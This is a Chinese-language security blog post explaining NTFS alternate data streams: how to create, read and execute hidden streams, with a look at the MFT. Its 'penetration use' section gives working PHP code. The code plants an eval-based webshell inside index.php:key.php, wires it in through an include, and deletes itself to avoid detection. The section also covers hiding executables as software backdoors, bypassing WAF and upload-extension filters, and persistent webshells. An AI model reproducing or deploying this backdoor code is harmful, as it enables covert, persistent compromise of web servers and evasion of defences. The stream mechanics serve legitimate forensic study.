文件寄生——尋找宿主的不歸路(NTFS文件流實際應用)

本文來源於i春秋現金獎勵計劃文章,未經允許嚴禁轉載。


咱們今天來研究下NTFS文件流:

NTFS文件系統實現了多文件流特性,NTFS環境一個文件默認使用的是未命名的文件流,同時可創建其他命名的文件流,windows資源管理器默認不顯示出文件的命名文件流,這些命名的文件流在功能上和默認使用的未命名文件流一致,甚至可以用來啓動程序。

NTFS文件流生成步驟:
1.我們在任意一個NTFS分區下打開CMD命令提示符,輸入echo mstlab>>mst.txt:test.txt,則在當前目錄下會生成一個名爲mst.txt的文件,但文件的大小爲0字節,打開後也無任何內容。
 

只有輸入命令:notepad mst.txt:test.txt 才能看見寫入的mstlab
 

2.在上邊的命令中,mst.txt可以不存在,也可以是某個已存的文件,文件格式無所謂,無論是.txt還是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及後綴名。(可以將任意文本信息隱藏於任意文件中,只要不泄露冒號後的虛擬文件名(即test.txt),別人是根本不會查看到隱藏信息的)。

3.包含隱藏信息的文件仍然可以繼續隱藏其它的內容,對比上例,我們仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 給mst.txt建立新的隱藏信息的流文件,使用命令notepad mst.txt:test1.txt 打開後會發現mstlab1這段信息,而mstlab仍然存在於mst.txt:test.txt中絲毫不受影響。
 

所以這裏的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在這裏的微妙關係顯而易見,宿主消失寄生消失。


NTFS特性和原理分析:

特性1:
實驗工具下載:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z

工具使用說明:
create      創建文件流
enum       列舉文件流
delete      刪除文件流
write       寫入內容到文件流
append     增加文件到文件流
launch      執行文件流的內容
dump       讀取文件流的內容

我們讓上一步驟歸零,重新來看看mst.txt:
 
而這裏的default文件流就驗證了最開頭的一句話,默認使用的是爲命名的文件流。
實驗開始,首先我們使用FileStreams.exe創建一個文件流vkey:
FileStreams.exe create mst.txt vkey
 
然後寫入內容到文件流vkey:
FileStreams.exe create mst.txt vkey content
 
再來查看文件流vkey的內容:
FileStreams.exe dump mst.txt vkey 14

這裏的14從何而來,相信聰明的你們能明白。(文件流vkey大小 14)
 

那麼最開始也說了,文件流是可以用來啓動程序的,我們來試試:

1.加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe
 

2.查看文件流vkey的內容,這裏就看前100個字節的內容:
FileStreams.exe dump mst.txt vkey 100
 

3.執行文件流vkey:
 
順利的執行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 這個文件。

特性2
自動創建空文件:
 
自動創建宿主,然後寄生。
在沒有原文件的情況下創建文件流,會自動創建一個空文件。

原理分析:
好,現在我們以及初步瞭解了文件流的特性。再來看看NTFS文件流實現原理:
如文件大小,文件創建時間,文件修改時間,文件名,文件內容等被組織成屬性來存放,NTFS定義了一序列的文件屬性:
 
詳細說明可以搜索NTFS3G,這些屬性統一組織在NTFS的MFT(Master File Table)上,每個MFT大小1024個字節,MFT的$DATA屬性即是前面提到的文件流,通常來說包含多個不同名字的$DATA屬性即說明該文件存在多個文件流,下圖是winhex打開1.txt定位到1.txt的MFT,我們實際看一下NTFS是如何組織的:
 

可以看到文件流test2的數據是直接存放在MFT上,因爲test2的數據小,而testExe的數據則沒有明顯看出來,因爲testExe數據比較大,MFT裏面存放的是簇信息。

滲透中的利用:
Webshell後門隱藏:

<?php
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);
?>

 

爲什麼這樣寫?首先我們知道網站的默認首頁是index.php,所以我們使用了第一段代碼:

exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');

直接寫一個一句話內容到key.php這個文件流中。

其次,文件流是不可能直接執行的,但是PHP可以使用包含函數,所以就產生了第二段代碼:
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);

最後,爲了不被發現要刪除本身文件,就出來了代碼:
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);

軟件後門隱藏:
使用特性1寫一段代碼後臺自動運行這個文件流即可。

ByPass WAF:
測試了下一些WAF還是可以繞過的。
較爲雞肋:
 
需要有一個文件包含纔行。

當然一些侷限性的限制寄生蟲可以拿到主權:
利用下面的默認流替換特性上傳文件名爲1.php:的文件,繞過後綴名限制即可。

當然你也可以做一個持續性webshell後門,然後使用include包含起來即可利用:
 

默認流替換:

默認流也就是宿主自身的,這裏完全可以吞噬宿主,成爲宿主。

這個方法算是打破常規的認識了,很有意思。

 


如上圖,我們直接執行echo xxxx>>1.txt:
即可替換默認流:
 

當然如果宿主不存在,將會創建宿主並且吞噬宿主,從而成爲宿主。

此方法筆者在一次侷限性的命令執行中完美運用上了。

總結:
原文件=宿主,文件流=寄生蟲。各位朋友根據根據這篇文章的基礎繼續深入研究,把文件流應用於各種操作之中,造出"猥瑣"流。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章